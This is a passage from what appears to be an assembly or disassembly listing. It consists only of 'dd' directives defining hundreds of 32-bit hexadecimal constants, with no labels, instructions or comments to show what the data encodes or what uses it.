		dd 0D8075D9Dh, 9164B195h, 0EB70E1E3h, 0E08B6FEh, 0E89874BAh
		dd 591E3C5Dh, 25D9077Ch, 29D5BECFh, 5FD64DE3h, 0E9AF289Dh
		dd 4D5F7FD9h, 580346FDh, 0A5F8F4D8h, 145DBA64h,	0DBB3EF92h
		dd 0B6B928FAh, 44E22405h, 0F1CF1BD5h, 6E5AEDA3h, 5202FB41h
		dd 1D851830h, 5FBD20D2h, 0FDBCFC78h, 0EFA9B433h, 215C2BD8h
		dd 0FB06CC91h, 5083CC34h, 0FA0A92ADh, 24BD9240h, 0B02D1530h
		dd 0AE3E5F80h, 0A302F6E3h, 0A8762B8Ch, 0DBFA4030h, 2D7A6Ah
		dd 147B09D6h, 0F7116585h, 82204128h, 0FC4F7A67h, 0E65C5079h
		dd 5C73C1B8h, 7037335Bh
		dd 8A539CF3h, 0DB6092F3h, 0F8B7D309h, 32ABD868h, 9DAEA9BBh
		dd 43278735h, 92A650DDh, 508276BEh, 1B5B6115h, 0DAC670E9h
		dd 2A788919h, 8CA69987h, 0DC559041h, 94AB2D6Bh,	0E8094875h
		dd 0A7441429h, 0E7E7915Ch, 53F87B22h, 84C982FEh, 0B5CEA964h
		dd 504CAD1Eh, 0C60585E7h, 4A525F89h, 0EDAC4011h, 3C2B858Fh
		dd 0CE7F5786h, 0A871C052h, 0AC544264h, 0E6162D33h, 9C76C1DEh
		dd 9987518Fh, 0BF99CAE4h, 0F91E965h, 0B324B164h, 96FF0A3h
		dd 0CC9B8D81h, 945B5BFEh, 0B26783F4h, 0BEF21DA3h, 81BC90E2h
		dd 3F77A1D6h, 2AB3EF18h, 0C4802ECFh, 0E6CDE970h, 0F61525F6h
		dd 0BA8F82F8h, 2FC3C569h, 0A1E065A7h, 0A89AB371h, 21F0E64Ch
		dd 828F532Bh, 0E1E07F1Fh, 459B2B17h, 0D4BFCAA6h, 7582E7Ah
		dd 165A6A66h, 87EF0CA8h, 88A1148Ah, 77100C14h, 93A94D72h
		dd 0CA9F75C6h, 7584B139h, 180562A5h, 95385B40h,	37883E6Ah
		dd 0FC9DAFAFh, 0A6D25A85h, 76319BD2h, 97195FCDh, 14B7B561h
		dd 820E5D79h, 0C8067F60h, 0B77D3EF3h, 0C0A3BF0Dh, 5EACE293h
		dd 31616DBBh, 44C6B5D9h, 69074B5Bh, 2CA40E21h, 1D1AB88h
		dd 80F31929h, 0C96AF82Ch, 0A59DA559h, 5E36E937h, 0C393F0A2h
		dd 5F843340h, 0F14A4C8h, 32DA4C26h, 5EDB9D46h, 0DE35AEDAh
		dd 64BF9AD4h, 82601014h, 1BE241EAh, 65A7006Ch, 84D21C9Ah
		dd 0EDB87F7h, 524222Ah,	71D772FBh, 0D47713E1h, 39DEA56h
		dd 76A09B48h, 4880BA67h, 1AB0A87Eh, 0E9D3C362h,	47BAD504h
		dd 0A333408Ch, 0F34090B5h, 0D21B9691h, 86E2E6F1h, 4512E92h
		dd 0C7602F38h, 9C263444h, 0D46AE3CFh, 0EC915ADFh, 5BDD4CD4h
		dd 3E35A358h, 31C00402h, 7AF09C37h, 0D2E6D141h,	51420685h
		dd 0B413776Ah, 93FEA505h, 0EBAD983Dh, 3AAFBD70h, 0B28CB7FDh
		dd 2231DDA4h, 6FCA6683h, 0E7CC1960h, 899136C5h,	0E2C9697Fh
		dd 0D73C6285h, 0D45374F5h, 8E3D97B1h, 2365BE5Ah, 5D695D62h
		dd 897E0124h, 9A47C50Ch, 8E8F61F3h, 0F0C0906Bh,	750E9C1Dh
		dd 0BD56C5F8h, 0FFB7289Fh, 0FA5445D3h, 0F232964Eh, 76CFE415h
		dd 278A4986h, 4A65447Eh, 57B4A466h, 8D657990h, 6C2BA05Ch
		dd 4E2EAD5Ch, 7648C801h, 50338399h, 694C44B7h, 0F46DBDEAh
		dd 47B92F65h, 69BB15B6h, 645A6838h, 0CAFC3012h,	87B15311h
		dd 5E113E95h, 45750C73h, 0FF6AB87Ah, 8B094A2Ah,	48DA9872h
		dd 0DFE0368Dh, 0A99FFC80h, 81C46261h, 93ED75AAh, 7C922626h
		dd 0C33F405Ah, 0D81A528Dh, 0CB79B746h, 2A34CFF6h, 22A99367h
		dd 294EBF55h, 9A960A9Eh, 0B0D6BE66h, 344406F3h,	46B8A02h
		dd 9DF7E064h, 0F9F06FFBh, 0CA9418E6h, 1914B595h, 0EE030EAFh
		dd 0A885BB0h, 0D64D6C89h, 27655765h, 0B9420685h, 0E147A39Eh
		dd 7BAD7091h, 9E91B94Ch, 0FDBF266Fh, 0E13E093Eh, 6D27747Ah
		dd 0E6C735B6h, 1A28D967h, 62390BCFh, 346A3DFBh,	3B306198h
		dd 41D39102h, 8EF14D14h, 9779CFCFh, 19FB320Bh, 9CA3707Dh
		dd 0C7AED730h, 86D038ACh, 0FE653DCDh, 85105C60h, 0F35E1D01h
		dd 25316EBh, 6355CA47h,	666B8307h, 8EA7AC2Bh, 953A7FCEh
		dd 0D1F5D777h, 63058700h, 8A16DE5Eh, 869AAD26h,	484006A6h
		dd 0C6806F16h, 36F27D53h, 32BE520h, 0D4C61187h,	6A059217h
		dd 42D1DF27h, 0BC64CF44h, 105FED34h, 6E50938Eh,	0D441F0E2h
		dd 88ABEBB8h, 4800FD12h, 3483E7E7h, 3D2B27F8h, 596E206Ch
		dd 900BA05Ah, 97E320E9h, 238976A5h, 9C2D11CEh, 0F6C9F1BCh
		dd 9D52AA37h, 2A19E37Ah, 0D7BF9B46h, 314AD2FBh,	0F2980728h
		dd 7DADC75Ah, 3489B740h, 83F989D2h, 694F6C6Ch, 0D739DBEh
		dd 96005503h, 8705C035h, 0A24917E1h, 0C97EE44h,	0E804C636h
		dd 0A954BAF1h, 0D2FB9B79h, 0FCFB0E79h, 18689981h, 0A970D487h
		dd 1482333Ah, 11F91D36h, 0EDE4E1B5h, 53ABD764h,	0AFB3805Dh
		dd 0B6D32EB9h, 0E1BCA165h, 1B9E681Ch, 4A52B6AFh, 72BB8866h
		dd 3778902Eh, 0BC7C9753h, 37355D45h, 53FA00A2h,	0DD3AC4C9h
		dd 0B48235C2h, 440EF8B0h, 36E469DEh, 464B184h, 0B3D7CEECh
		dd 0F7B8853h, 0E25012A2h, 5F78C1E8h, 56E84EA4h,	4815892Ah
		dd 0AA84AD3Fh, 0C6AC358Ch, 0BB466D78h, 2022AE4Ah, 109142BAh
		dd 690E2B5Ah, 74967DDDh, 2AB06CCh, 5F94F496h, 0E6EFA9E4h
		dd 0E31DBBA0h, 6D52D514h, 0B27E62BAh, 4C98C0A5h, 494D3302h
		dd 0F9417A8Dh, 2F81C0FEh, 0EB63B50Ah, 0EAEF34DAh, 4E2E481Bh
		dd 3A77754Ah, 0E8C7251Ch, 0CC577C58h, 0A0FC660Ah, 85CF877Fh
		dd 0F86BC016h, 7BE39F26h, 0E97AC3CDh, 7BAB3A43h, 5C58F84Eh
		dd 0F2AC316Fh, 9B05F9C5h, 15E57F85h, 0E2E0ADC9h, 4CE09228h
		dd 523C29Ch, 0AF6BC8A4h, 0E13F2539h, 0EC6FCE18h, 6B1A9693h
		dd 13427699h, 1A20B66h,	444A55D1h, 9DADA9AEh, 0E2C84915h
		dd 0E575C776h, 8DCE78F8h, 0C1CB2B8Dh, 0EEAC696Dh, 0F4B3EDACh
		dd 5EFE477Ch, 0DBDEC192h, 6FE8AF97h, 7200BF62h,	0CA805CB0h
		dd 264957F2h, 0DBD675B4h, 89165092h, 6A178FA9h,	0C45890B9h
		dd 120B9425h, 0D570AFD6h, 457E578Bh, 0B553CC8Dh, 0FB5D6694h
		dd 0B0651A2Ch, 0AADCA807h, 839F3A82h, 0B41BC6BBh, 5A3DE3Bh
		dd 390F38Ch, 271791E9h,	0AFF48F5Dh, 0F0710C9Bh,	9C9409CDh
		dd 2E12A9C6h, 8A0DF34Ch, 997A9FCAh, 0FF27FDCBh,	0B140A852h
		dd 6FD55C7Fh, 97EB58BEh, 53A5C3Dh, 89EE6930h, 0ADECD53h
		dd 6103F17Ch, 335D959Dh, 8D15868Fh, 0BAB89E3h, 5B037F5Eh
		dd 0AD4D5B9h, 900E7C0h,	0C6DACDA4h, 0F74310A6h,	0C09B436Bh
		dd 289A66F5h, 6E98654Ah, 0F27D8A0Ah, 2F27F90Dh,	0AEF5E0ADh
		dd 0F1EB497Dh, 0CBD2362Dh, 6E507F94h, 0DB591450h, 0AE0FACE3h
		dd 0EEB17540h, 9E002EF1h, 0A3D39A65h, 6542372h,	0B1CA4799h
		dd 0AA7376F3h, 61902996h, 25F4DEFAh, 0B2136B2h,	0BBCC4C48h
		dd 2952D1C4h, 8EE6FD0h,	53BDE730h, 4CED36FFh, 0CDF76BF3h
		dd 0FA1241D0h, 0FE62D7E0h, 3A511FDBh, 4F6E8C88h, 5BAAA59h
		dd 0CD6A9870h, 8FA208ECh, 0ED8F4BE0h, 68FB9E1Ch, 0D2515CE1h
		dd 0FAB33C5Ah, 84A735CBh, 0B578903h, 0D567BAA2h, 84FB96C1h
		dd 6663EEE6h, 6CF6AE69h, 62336888h, 5252C685h, 9057EC04h
		dd 0CF148CE7h, 2DF813FEh, 0ACD6648Fh, 799CD8D4h, 0E051E992h
		dd 0EFA6CE3Fh, 0DAD9753Fh, 0A90F296Bh, 46A151FFh, 0A31ABE94h
		dd 14B75DEDh, 0A240673Ah, 0CD59D398h, 0AC52624Bh, 1F2B993Dh
		dd 48945B69h, 707C0CF1h, 1C17F8A4h, 8B7BF4AEh, 93C07424h
		dd 0E4D01D5Eh, 0FA5B9D9Ah, 0C7661B1Dh, 455AF07Ch, 0F57D592Ch
		dd 34CF7B03h, 1215D107h, 9C3177F5h, 0FBA237BAh,	490EDE72h
		dd 7181118Fh, 295959B2h, 0C4B9AA67h, 1AD09B82h,	0FCEFC8DCh
		dd 0A81B7C41h, 0C6F9FDD1h, 159FB0DDh, 3F599F72h, 116FDCE5h
		dd 5F12A3B6h, 74E93154h, 0DC827391h, 0CDC61240h, 77CF24FFh
		dd 5392A4BBh, 0A1E3E1F3h, 0DB12E453h, 38C60AA1h, 81004280h
		dd 4E1799E6h, 0B8F7F956h, 973A83F6h, 0F1DD568Fh, 0EFACF72Ch
		dd 16F95500h, 6B98C7F4h, 692C71C4h, 0FDF75910h,	4853620Ah
		dd 0FB332D47h, 60BBCDCAh, 0BEBEDD45h, 41C717E3h, 724C7112h
		dd 5B088F5Fh, 0DE3F0D9Ah, 58E6A562h, 0D5C98ADBh, 0FD38564Bh
		dd 0B4A2D10Eh, 44E438DFh, 4DA77F2Eh, 51C99087h,	6D96821Ah
		dd 0C035538Dh, 4C9A53CEh, 18852313h, 7445FADAh,	2EFF8B2Fh
		dd 0F987D6D5h, 2772CDD1h, 1D1C10Ah, 72D76BA7h, 4B2DB07Eh
		dd 77488783h, 80465C6Dh
		dd 44C0C682h, 0E56ECE25h, 0D9F8475Ch, 20CD5D9Ah, 673EC600h
		dd 0D62E95BAh, 9BEC3B02h, 0BAF63B83h, 0D9C697FDh, 0DE3720D9h
		dd 77F9B752h, 80533FE1h, 34412B7Eh, 131BA31Dh, 98329C7Fh
		dd 563E081Fh, 858B4279h, 4AB2BF1Ah, 0B4F8B69Dh,	0B6F985D3h
		dd 4B289B33h, 3DFDF750h, 187F92EAh, 36B5622Ch, 38F2661Eh
		dd 2EC3EE8Ah, 7D714229h, 0EF5487DAh, 0DBBCE81Eh, 5B24444Fh
		dd 0B5473DDCh, 6D494A84h, 0CF4C8D2Dh, 0C11AC98Ch, 1E278F3Ah
		dd 1B22E573h, 0D7FE3CCAh, 63D7DAF8h, 1B13C93Fh,	0BE62F4EDh
		dd 32B631D6h, 0DEE8CAD1h, 5202FE79h, 48ED276Fh,	8176FDBBh
		dd 0B1E752E4h, 0AE0ED9BFh, 0A096D76Ch, 5D5630B8h, 34B726E1h
		dd 9E2914BDh, 0E6CB2A41h, 81C56B6Ah, 0F384E701h, 9950EF92h
		dd 0D7CD8499h, 266048Fh, 3F0B7567h, 1DBC43ADh, 17717DA3h
		dd 9D148C34h, 65BB554h,	83F81C52h, 76DB2323h, 1C9B485Fh
		dd 7DDBAFEDh, 0AE099BF5h, 0D3504854h, 729CD941h, 9E208BEFh
		dd 9EF757F6h, 0E250945Eh, 8CB2D0C1h, 0B0E56A95h, 93B52DF7h
		dd 43515967h, 9AEB0101h, 3C4F6163h, 0F12FFCDEh,	0C707BBB4h
		dd 0E4A5A269h, 5AE151C5h, 18A3715Bh, 7EC48373h,	0A6045624h
		dd 0F3A0339Bh, 8FCFDCF2h, 0A22D0742h, 4116B8CAh, 34F53AA5h
		dd 70D3563Ah, 0CAB87A03h, 0BF1F0505h, 0C2CF90C1h, 85AF1E7Dh
		dd 0E2D84C9Fh, 8A6CF9CBh, 0BB6B5EDCh, 0B78BC36h, 433CB356h
		dd 83EFAF22h, 8477EF50h, 15D8D124h, 550E4AEAh, 1C45C5EAh
		dd 99790025h, 0CD1DDEF2h, 570498FAh, 24B1B51h, 0A8CB9BAAh
		dd 689B92EEh, 56F5753Ch, 9C548105h, 0E4E19FACh,	90AF96A1h
		dd 627FA53Eh, 97A0D086h, 0A37ECED9h, 4C7FFA7Ah,	0FAA0F102h
		dd 0DAB46821h, 0F10F6C24h, 6387762Eh, 93227A8Ah, 36DAFAB3h
		dd 0DB79796Dh, 2DD6DF71h, 6355E3C0h, 6951B1C2h,	220CA7D6h
		dd 0E7BC41B5h, 69263BE9h, 0CDFE121Eh, 0E90B36BBh, 878ACC8Ah
		dd 7DC8DB13h, 81B055CBh, 0D0FB3D60h, 0FC954B43h, 0BA0FE4E7h
		dd 0BFAE8B77h, 55DA17C8h, 0EED6CA9Ah, 0B11C2AA3h, 0E0BA5A91h
		dd 3A37FF0Dh, 0C49B46B2h, 53BF2B8Ah, 2EE87E97h,	0A65BF12Bh
		dd 0DED8884Ah, 0A483BD76h, 5C12A495h, 0D6DE50DEh, 65BD9F26h
		dd 530E0380h, 77B9751Ch, 0E00F29DEh, 0ABDD42BEh, 237D4436h
		dd 8C26AD6Ch, 0E9D8081Dh, 0E29E2FABh, 829D4DB6h, 19485BFh
		dd 0FF2EAD21h, 8E41BADEh, 750BA7DDh, 80AEF581h,	0B143246Ah
		dd 34E06CBh, 85D55560h,	74339006h, 0B6D63749h, 0F37B2958h
		dd 42D8E585h, 86CFE872h, 972C9B65h, 8AEEF36h, 0C864F073h
		dd 7E37877Dh, 8D0EC09Bh, 0C99669EDh, 0AA81D817h, 0A29F041Bh
		dd 0B52C8D10h, 870218E7h, 45ACF076h, 7FC6A697h,	30D6A785h
		dd 44093D38h, 0D734F272h, 99699D87h, 0BA08DDBDh, 0B15BA262h
		dd 0C80F3ED8h, 5417A404h, 0C1FDB8CFh, 0FC72932Dh, 5460D14Dh
		dd 73C4C221h, 45124449h, 9A7268F9h, 5A2A5584h, 0C6270E9Fh
		dd 1AFED006h, 38892960h, 0F7FF0855h, 8B8AF66h, 966ED848h
		dd 7ED7B73Dh, 5C9C95B8h, 347709DDh, 0A3F1B7BAh,	0E9F7968Eh
		dd 0A80E676Ch, 0D238135Ch, 31C7925Eh, 0B7BEE65Eh, 0C67B8F4Ah
		dd 0ABD6511Fh, 7F7A9A5Ah, 81AA8315h, 80670601h,	0A6EE7D2Fh
		dd 1CB45A5Eh, 0E7949859h, 4AA42A29h, 1E1C3B4Ah,	1C3481C3h
		dd 0F30DF3E0h, 0EA807406h, 0F0DFC4A3h, 0A99E97E4h, 0CB7C10A1h
		dd 1B73A9E7h, 51962A5Eh, 9E9A7B4Eh, 0E7B5869Fh,	0DDFFF53h
		dd 83873DA0h, 0F744F445h, 0EDFE8DA7h, 0E2E93478h, 3548639Bh
		dd 0C8451E6h, 2D78B621h, 5D3CA9E7h, 0FD75536Ch,	0FE7D06EFh
		dd 19184101h, 55E67330h, 9369D382h, 0F050D52Dh,	0DA0600FAh
		dd 0EE452B39h, 0B872D441h, 0FAF0D5A6h, 0B88B8770h, 3C0C62F9h
		dd 0C18D3E4Ah, 9338A429h, 0D4FC44CAh, 491EA589h, 882615Ah
		dd 0AAC58758h, 0DAEA92DCh, 4CFCF5F7h, 5AFB63F1h, 0A2FFB8B7h
		dd 3DDB8B28h, 539FF38Ah, 24A0B2A6h, 0ED26AB91h,	0B821F592h
		dd 0F3383930h, 7A05FAB3h, 79D209AFh, 0A9F6FF2Eh, 835CBDC8h
		dd 1AA39B87h, 294378EEh, 581AE765h, 70B399D1h, 4F8ED41h
		dd 83ED2259h, 5A8C12A0h, 50455356h, 0DFFC39D7h,	0E6CB1447h
		dd 5F6C3497h, 0D7384575h, 0EE8552AEh, 249E24B9h, 0AA08313Ah
		dd 0E76DDBEEh, 0A60504ABh, 0C888F857h, 0D1B935Dh, 8177E703h
		dd 9B0838A4h, 0E0650251h, 4FEB3FEEh, 84B71A16h,	9F859C60h
		dd 0ED42FE30h, 8EBB62CDh, 0C8E347BAh, 0CC4D73F9h, 0F8C2460Bh
		dd 8325E8BCh, 0E0BFF8D1h, 1832D82Ch, 4AA0B2Ch, 67D466C8h
		dd 0FD98CE70h, 0C1B3FFADh, 0E6ABD20Fh, 0A8058638h, 30AE1E4h
		dd 9C8E20E6h, 46DA1E33h, 0A2373B7Eh, 1E57416Bh,	0B4D649C9h
		dd 1E377A77h, 4877B283h, 27CD5695h, 0FC585CBAh,	4E86CABBh
		dd 6EE5FCE1h, 6396290Bh, 0D0D8E7E4h, 0F5718E8Eh, 0B684768Eh
		dd 0C37F2323h, 3692863Eh, 7015363Ah, 655C1DEFh,	0FDEB6D2Ch
		dd 0F24C8A4Ah, 884209E1h, 5549945Ch, 48F7492Ch,	0AC2CA62Dh
		dd 0ACEE10A9h, 256510ACh, 0AF316E84h, 62C473EFh, 0E865D37h
		dd 0C40CC447h, 0AE288B8Eh, 12BEA166h, 57F5C7FCh, 0D2F8FE1Fh
		dd 7BFF684h, 79A87B2Ah,	1FFCE68Fh, 8ECE1A11h, 0AC4261BDh
		dd 4EC40875h, 34982898h, 8B6847B7h, 42ABD42Eh, 0CDDCC4C7h
		dd 7BDC8983h, 420B7B08h, 5B5563AAh, 6C228CA2h, 2609923Eh
		dd 0E1F4A2E4h, 97D88CEBh, 1D4AA895h, 8B20E621h,	4EDDE5D5h
		dd 2FAF7679h, 4C14938h,	7C4D7ACh, 4D7B6FC8h, 8BF12241h
		dd 8517268Ah, 7BE67AA8h, 13BC9431h, 0B0E033Fh, 29B2886Bh
		dd 5CE69912h, 0AA94DB73h, 7AA4B1B9h, 0F6B957Bh,	6B3B5C28h
		dd 652EC62Ch, 0FA52CFEBh, 0F76F75D2h, 8E4A67A1h, 0EC746ED6h
		dd 699F3DE6h, 3AC3DD78h, 18911DAEh, 0FFA918B0h,	7205EBABh
		dd 1A180FFh, 3A52FBF4h,	0EFA3F615h, 203DD22Bh, 0D3F3B7F4h
		dd 0B9A85D83h, 43EC3AE3h, 0F2098229h, 3904D859h, 0D5B2FCDDh
		dd 390D1EAEh, 777EB4B5h, 24C107FBh, 0B2973876h,	2D63334Bh
		dd 0CAFFC6h, 0D89C529Eh, 4F495DBCh, 69FE2EB0h, 833F16E4h
		dd 1FF8054Bh, 0AA7DC882h, 0EE204449h, 0AA7A0D60h, 124C4033h
		dd 0C25681EAh, 0DB101A3h, 4B6065BDh, 0C72FA696h, 0EFCF3B1Fh
		dd 0B499ABEBh, 845F01BEh, 5A1CD55Fh, 0A87B86AFh, 53B777D8h
		dd 3F7C1200h, 0E5DBB50Ch, 8665A51Fh, 0DD1B7872h, 0FF5DFDC0h
		dd 0E16391C4h, 4DDC0F90h, 83BFA76Dh, 9F5BC5Fh, 0D6B2E56Bh
		dd 7160C8AEh, 0AD1420EAh, 2A752165h, 0D0ABB7F8h, 4D7B94F0h
		dd 650FBAE3h, 90C27E12h, 315CFAB3h, 6C69A86Fh, 56EDAC25h
		dd 59F46B5Bh, 74D69184h, 802DEB90h, 9066984Bh, 19B39C38h
		dd 6DFDB4Fh, 0FE8240D2h, 1230B9Bh, 0FA79C419h, 0D4222126h
		dd 8A9FD589h, 77304AF4h, 0BB4EC7F6h, 0E8239248h, 994AD000h
		dd 43E3EBAEh, 0DCF53096h, 3CEFEDD7h, 0E85B3D8Dh, 407FEEA6h
		dd 0A586B5D6h, 0E803859h, 0A9A68F84h, 431F048Dh, 0D5321017h
		dd 61F616C3h, 3348A455h, 0CF7499BCh, 3F4AE8FCh,	8A255F83h
		dd 0E3349D46h, 1325023Ch, 617FA59Eh, 64AE81D9h,	3823B988h
		dd 11B01CD2h, 0AEF12706h, 0B5404CEBh, 0DE27BCAh, 0A8E7B6DCh
		dd 0ED408DEAh, 0EAFEB92Fh, 32708764h, 333E2E40h, 0C5E35229h
		dd 112182D5h, 4F09E6B0h, 8D816AC0h, 6B725171h, 44020E28h
		dd 8021C612h, 94128B59h, 0D863C1F4h, 0EED66B5Eh, 2D088725h
		dd 0E8B3F2B5h, 9770D442h
		dd 0B4AA8B5Ah, 9CC1035Ah, 0DE2D2308h, 27F4375Ah, 969A00F8h
		dd 8FEDBBFCh, 2D0B9D2Dh, 33A3476Ah, 0CACD132Ah,	923329DAh
		dd 85C6E19Fh, 0C2A4C398h, 0B7DA90BBh, 7D1880C9h, 603B200Dh
		dd 0AD6F5BC1h, 0F9812555h, 0B2823261h, 536FC2A7h, 0DAF996FCh
		dd 0E7137565h, 87F1A3F3h, 9751E53Bh, 5E302390h,	5475A99Bh
		dd 13214FE1h, 41527A04h, 7007C64Ch, 2C7C4D6Dh, 0FE8FCCD6h
		dd 0B5F1F5CAh, 99D6DED8h, 1D9CDE07h, 87C3A062h,	0EF325BABh
		dd 0FC01F58Ch, 9E26CBFFh, 2950FD0Ah, 26F106C9h,	0EC8192CFh
		dd 3359575Ah, 831F8968h, 273D196Eh, 0E6CD44C8h,	0DD91703Dh
		dd 0B8C696FFh, 120B7520h, 0C5899202h, 6EBC2480h, 8C8BABA8h
		dd 35D102B9h, 0E8FEA2Dh, 7385A654h, 5417D9A1h, 0DECDB3CEh
		dd 708D7E8Eh, 0FA9EDF6Ch, 0C2EAF1D2h, 0CB7F1EE9h, 0FC907FB9h
		dd 8458ABA2h, 0D92C56FDh, 6DD12B67h, 0E8A9429h,	2546C68Ah
		dd 407AD37Ah, 0E55A7F2Bh, 0CC443BC4h, 1BE86A0Eh, 0A5591F8Fh
		dd 669769C3h, 0E31630B2h, 0CA0FE414h, 0F68B85B3h, 2187FAADh
		dd 226646C8h, 0DBED4DD9h, 0C43AE810h, 53D0703Bh, 3C16BDD1h
		dd 27D57A0Fh, 0BCFAA37Fh, 9553BA2Bh, 0DEDDD98Fh, 0EE96A971h
		dd 6C6C7FDCh, 5D3BCFBh,	1599E546h, 931EC757h, 0D6A375F9h
		dd 72FBCB3Fh, 4E57FE76h, 964998h, 0E1252E4Bh, 7DCB7D45h
		dd 18E4FB80h, 92DFEDBh,	0B8FAA0DAh, 5F06647h, 864C84B4h
		dd 0AE96665Fh, 1B6E4C4Eh, 0EB8B675Ah, 823D1054h, 26C98EEEh
		dd 4CF126B9h, 216A3CB9h, 0FE7FA502h, 0DEE24047h, 0C2E0A131h
		dd 0F618E6F5h, 0E9C59975h, 0BCBEAD8Fh, 0CF768487h, 6178AC9Dh
		dd 711E61DCh, 0FA21411Dh, 612915E9h, 56112115h,	650A3A9Dh
		dd 3A01386Eh, 9E0F7334h, 72259512h, 5CFC03ADh, 651656B0h
		dd 10307BA4h, 0A1628A4h, 4103CE20h, 0F93DDD3Eh,	0B34C021h
		dd 0ECBEE748h, 0E92351A6h, 5948A20Ch, 96AF20B0h, 4DECB020h
		dd 78FC4DA9h, 8C0C9BB2h, 522E375Ah, 90B22296h, 13D475BBh
		dd 66A277D5h, 3C9BB6EEh, 2D78D0F8h, 0A59CB2DDh,	0AE03A785h
		dd 51C83F70h, 16FB1A10h, 0D52FA360h, 0E79A3A43h, 5764AC89h
		dd 0B3B4BF97h, 1A2A57D3h, 6A0A5374h, 0AC1E67C8h, 5B94F26Ah
		dd 57097119h, 22A5A5DEh, 5EE36365h, 744FE6A9h, 4AC1B744h
		dd 8C0C0B1Ch, 376A550Fh, 0DADBC8D0h, 693BDC34h,	0A17308C6h
		dd 0F1DD55DEh, 0B1185C3Ch, 6305EF03h, 2FFE04FAh, 2FE8ACF0h
		dd 930A2D34h, 3CD77CDFh, 0B8A01952h, 58842EB1h,	3D5BCB26h
		dd 0E8484F29h, 0C46C1461h, 115165F6h, 9818FE03h, 105ED392h
		dd 72222E00h, 57A49021h, 0D9584675h, 0B415C0C2h, 3871338Dh
		dd 0C47ACCCBh, 0E1815D74h, 0D305C682h, 0F22035D7h, 864BACD1h
		dd 0B9EAF7FDh, 0C6FFEBD3h, 664F9AD0h, 9B3A22ABh, 0F220C22Ch
		dd 0BA8F9993h, 43B22B49h, 0CC8CDCD0h, 0FAA81DEFh, 0CA02E138h
		dd 9C614816h, 84ECF30Dh, 78F09027h, 5340671Eh, 0FFBBE85Fh
		dd 0B73E9507h, 824FD7AEh, 0BCDA94CDh, 40F744E7h, 0DF421CC8h
		dd 1E5BA87Bh, 79D323AFh, 5F354C79h, 96BBF84Fh, 0C1AA52F0h
		dd 0A8CE77C8h, 0C3EC273Eh, 2FD4C1C2h, 0E424E864h, 716FA0C2h
		dd 90730F1Dh, 65B99306h, 0BA9198B6h, 89788B40h,	91A18F9h
		dd 1EFFE773h, 1F0CB577h, 0E3630EC4h, 0C4DC52CCh, 66455F0h
		dd 9ACF3A68h, 2D2723F8h, 0E16D7152h, 0B8D52995h, 0F908DB94h
		dd 305ACCDBh, 84641F41h, 6623A750h, 0FB5B9A7Eh,	0C53E5790h
		dd 50A551D6h, 11F2FC36h, 0CD74E16Fh, 620EADEAh,	0AEFD42E0h
		dd 4C59177Bh, 0A4D56Ah,	83FF1B71h, 29407CCCh, 8BFDD187h
		dd 765EE5C1h, 7E8BCAB0h, 0DD6DB512h, 0A2A8C41Fh, 0F43C11E3h
		dd 0D61A6535h, 7E7AB572h, 0CBDC0626h, 461C94A7h, 0C95FC0AEh
		dd 8BC3D145h, 2751EA63h, 0FFA3329Fh, 0D847205Ch, 0F0AE1114h
		dd 0EE7B4032h, 3B1912D5h, 975B4CE7h, 3FE410D4h,	13D07885h
		dd 0D09E3E2Fh, 3E2CAC20h, 0BFE5DD89h, 0EECC7EC4h, 530D2A23h
		dd 0A99B792Eh, 56C6A1D9h, 0EAE5E6A4h, 0F87FC80Fh, 4F87069Dh
		dd 0DCE2C696h, 4A549F6Ah, 0F85B7FAAh, 11761288h, 61D2E1BAh
		dd 0ED75D504h, 0CF56AE9Eh, 61C63A19h, 57825F1Ah, 0BB25B251h
		dd 999D8567h, 2BF3CE91h, 0B44C5D69h, 0E5FAD690h, 0AEB2C4EEh
		dd 0AC85583Dh, 0CAABFD9Bh, 0C7C6988Bh, 0A6077612h, 64460B8Bh
		dd 6AA9FCE0h, 0E3CACA43h, 12A28D85h, 0EA73E79Ch, 184BB84Eh
		dd 0F1BEEF1h, 5B5F6BE1h, 9E19300Ch, 66B8166Fh, 9AEBF067h
		dd 0ADB0F03Eh, 2993DA37h, 0EDFA3545h, 9244F7F8h, 48A69AC4h
		dd 2CB464D5h, 0B864FED4h, 0DA65F3F2h, 9FB364E2h, 5295C75Ch
		dd 89BCF25Ch, 8A009888h, 43DEFE8Dh, 57FFCFEEh, 0FB845CA4h
		dd 21CBE74Ch, 2D991595h, 73EDD083h, 34F39962h, 78827993h
		dd 8F9F1E6Eh, 3820E7CBh, 0BABBA0A2h, 835101C3h,	9CA9DF8Ah
		dd 0CFCA9F8Fh, 9063AAA7h, 9051CB3Bh, 5839BCD9h,	88003B98h
		dd 941311E6h, 50E7D0D9h, 702B8F0Ch, 97C299C1h, 793219ADh
		dd 0B64F0EC1h, 488E9F0Bh, 0AA0C282Ch, 889D3835h, 0F45A7989h
		dd 0B1306665h, 20930F71h, 0CD46C799h, 0BD0FB33Ch, 34BB8011h
		dd 0FC21781Fh, 0F407AA17h, 9812A99Eh, 1E0CDB65h, 0BFCFA747h
		dd 2241A708h, 0FF215670h, 0E9104BCDh, 0BC2D700Eh, 0E258C7FCh
		dd 25790A16h, 5792361Ch, 909C55BCh, 718C73ABh, 68C33C25h
		dd 343562CEh, 0F23767D4h, 0F48B4524h, 2835A650h, 78C95A1Dh
		dd 867DF622h, 7752656Bh, 338DD274h, 0F610C61Bh,	0E5DD816h
		dd 9ECF7317h, 70F3104Bh, 36383A79h, 791DDEF5h, 72738955h
		dd 0FD7520BCh, 611708B3h, 0A31D5998h, 60F51DB9h, 0E996C03h
		dd 839D8281h, 0DBFF5529h, 0D186E2C5h, 0D1E24F9Fh, 3E93CFC0h
		dd 0F86EBC45h, 0DE90A776h, 4F717893h, 6505D5F8h, 73DAE7ABh
		dd 35C0B04Fh, 81B6D853h, 1D671E2Eh, 1BEED138h, 586698F8h
		dd 938ED4D8h, 0F32D630Bh, 3A9F1F54h, 2D935CCEh,	671093C4h
		dd 3C09735Bh, 7F065EF8h, 0C071AC39h, 81A35272h,	21CFFABEh
		dd 537456EEh, 0C11BABD0h, 4D45AAB2h, 4895239Dh,	0B8AC00F9h
		dd 76A6D5C2h, 0A3BBA16Eh, 7BC23972h, 0FD1D4098h, 49FBA518h
		dd 890F967Ch, 0F0C4EEC3h, 3972EC1Ah, 815F267Eh,	3172E458h
		dd 91A9FC10h, 48126825h, 0B02D9556h, 678FCB99h,	26FBE8Bh
		dd 2FF9D9D9h, 0BB506AA6h, 0CFEFA20Ah, 0A9756A3Ah, 5A2D32E9h
		dd 2EC4525h, 44F63558h,	0C89C289Dh, 0C41BB2C2h,	8BCC9766h
		dd 59AA5364h, 0CE8C1820h, 0ABCFFF47h, 0DC0304CAh, 51A6FEA4h
